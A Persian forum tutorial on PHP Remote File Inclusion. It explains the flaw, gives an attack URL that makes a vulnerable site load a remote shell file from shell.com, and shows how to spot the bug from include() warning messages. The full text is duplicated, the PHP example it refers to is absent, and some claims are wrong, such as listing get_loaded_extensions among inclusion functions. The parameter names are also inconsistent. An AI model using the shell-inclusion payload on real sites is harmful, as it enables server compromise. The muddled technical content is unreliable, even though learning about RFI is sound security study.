به نام خالق هستی
سلامی به زیبایی عشق
درود بر عزیزان در این آموزش در خدمت شما هستیم با توضیحاتی راجع به باگ Rfi در خدمت شما هستیم این باگ مخفف کلمه Remote File Inclusion که معنی پارسی آن کنترل از راه دور یک فایل میباشد و اما این باگ چگونه رخ میدهد ، این باگ در مواقعی رخ میدهد که برنامه نویس در هنگام استفاده از توابع درخواست یک فایل اشتباهی انجام دهد . این توابع میتواند شامل get_include_path , get_included_files, get_loaded_extensions ,Include , Require و ... باشد که یک فایل را از آدرسی گرفته و عملیاتی که برنامه نویس برای آن تعریف کرده را انجام میدهد حال اگر برنامه نویس در تعریف این توابع اشتباهی انجام دهد منجر به ایجاد باگ میشود که به جای فایل دریافتی ما فایل خود را جاگزین میکنیم و در نهایت فایل ما لود میشود به مثال زیر توجه نمایید :
[align=LEFT]


[align=RIGHT]
كد های بالا را در يك فولدر با پسوند Php ذخيره كنيد و در سرور قرار دهید حالا اجرا کنید خواهيد ديد كه وقتي كد اول را اجرا ميكنيد جمله Google.CoM در صفحه چاپ میشود یا همون نمایش .
اگر توانستیم به Include مقداری ارسال کنیم و صفحه ما بارگذاری شود آن کد Rfi دارد
[/align]
[/align]
در کد بالا تابع Rfi با مقداری که به Get میدهیم مقدار دهی میشود .
که به این صورت میتوانیم به متغیر مقدار دهی کنیم :
[align=LEFT][php]site.com/index.php?bug=File Src[/php][/align]
و در جهت نفوذ آدرس فایل را خودمان وارد میکنیم مثلا :
[align=LEFT][php]site.com/index.php?get=http://shell.com/shell.txt?[/php][/align]
و فایل ما اجرا میشود . روش شناسایی این باگ بصورتی است که شما به یک ادرس اینچنینی برخورد میکنید :
[align=LEFT][php]site.com/index.php?page=IRH.Html[/php][/align]
یک کاراکتر به انتهای نام اضافه کنید :
[align=LEFT][php]site.com/index.php?page=IRH.Html*[/php][/align]
حال اگر برنامه نویس در مقدار دهی دقت نکرده باشد با خطای مشابه زیر روبه رو میشویم و این نشان دهنده وجود باگ RFI میباشد .
[align=LEFT][php]Warning: include(index.php) [function.include]: failed to open stream: No such file or directory in C:\Serv\www\rfi.php on line 2
Warning: include() [function.include]: Failed opening index.php' for inclusion (include_path='.;C:\php5\pear') in Serv\www\rfi.php on line 2
[/php][/align]
دقت داشته باشین هر خطایی مبتنی بر داشتن باگ RFI نیست و میتونه باگ LFI باشه
این مقاله رو میتونید با پسوند PDF از اینجا دریافت کنید .
و من الله توفیق
سلامی به زیبایی عشق
درود بر عزیزان در این آموزش در خدمت شما هستیم با توضیحاتی راجع به باگ Rfi در خدمت شما هستیم این باگ مخفف کلمه Remote File Inclusion که معنی پارسی آن کنترل از راه دور یک فایل میباشد و اما این باگ چگونه رخ میدهد ، این باگ در مواقعی رخ میدهد که برنامه نویس در هنگام استفاده از توابع درخواست یک فایل اشتباهی انجام دهد . این توابع میتواند شامل get_include_path , get_included_files, get_loaded_extensions ,Include , Require و ... باشد که یک فایل را از آدرسی گرفته و عملیاتی که برنامه نویس برای آن تعریف کرده را انجام میدهد حال اگر برنامه نویس در تعریف این توابع اشتباهی انجام دهد منجر به ایجاد باگ میشود که به جای فایل دریافتی ما فایل خود را جاگزین میکنیم و در نهایت فایل ما لود میشود به مثال زیر توجه نمایید :
[align=LEFT]


[align=RIGHT]
كد های بالا را در يك فولدر با پسوند Php ذخيره كنيد و در سرور قرار دهید حالا اجرا کنید خواهيد ديد كه وقتي كد اول را اجرا ميكنيد جمله Google.CoM در صفحه چاپ میشود یا همون نمایش .
اگر توانستیم به Include مقداری ارسال کنیم و صفحه ما بارگذاری شود آن کد Rfi دارد
[/align]

در کد بالا تابع Rfi با مقداری که به Get میدهیم مقدار دهی میشود .
که به این صورت میتوانیم به متغیر مقدار دهی کنیم :
[align=LEFT][php]site.com/index.php?bug=File Src[/php][/align]
و در جهت نفوذ آدرس فایل را خودمان وارد میکنیم مثلا :
[align=LEFT][php]site.com/index.php?get=http://shell.com/shell.txt?[/php][/align]
و فایل ما اجرا میشود . روش شناسایی این باگ بصورتی است که شما به یک ادرس اینچنینی برخورد میکنید :
[align=LEFT][php]site.com/index.php?page=IRH.Html[/php][/align]
یک کاراکتر به انتهای نام اضافه کنید :
[align=LEFT][php]site.com/index.php?page=IRH.Html*[/php][/align]
حال اگر برنامه نویس در مقدار دهی دقت نکرده باشد با خطای مشابه زیر روبه رو میشویم و این نشان دهنده وجود باگ RFI میباشد .
[align=LEFT][php]Warning: include(index.php) [function.include]: failed to open stream: No such file or directory in C:\Serv\www\rfi.php on line 2
Warning: include() [function.include]: Failed opening index.php' for inclusion (include_path='.;C:\php5\pear') in Serv\www\rfi.php on line 2
[/php][/align]
دقت داشته باشین هر خطایی مبتنی بر داشتن باگ RFI نیست و میتونه باگ LFI باشه
این مقاله رو میتونید با پسوند PDF از اینجا دریافت کنید .
و من الله توفیق
نظر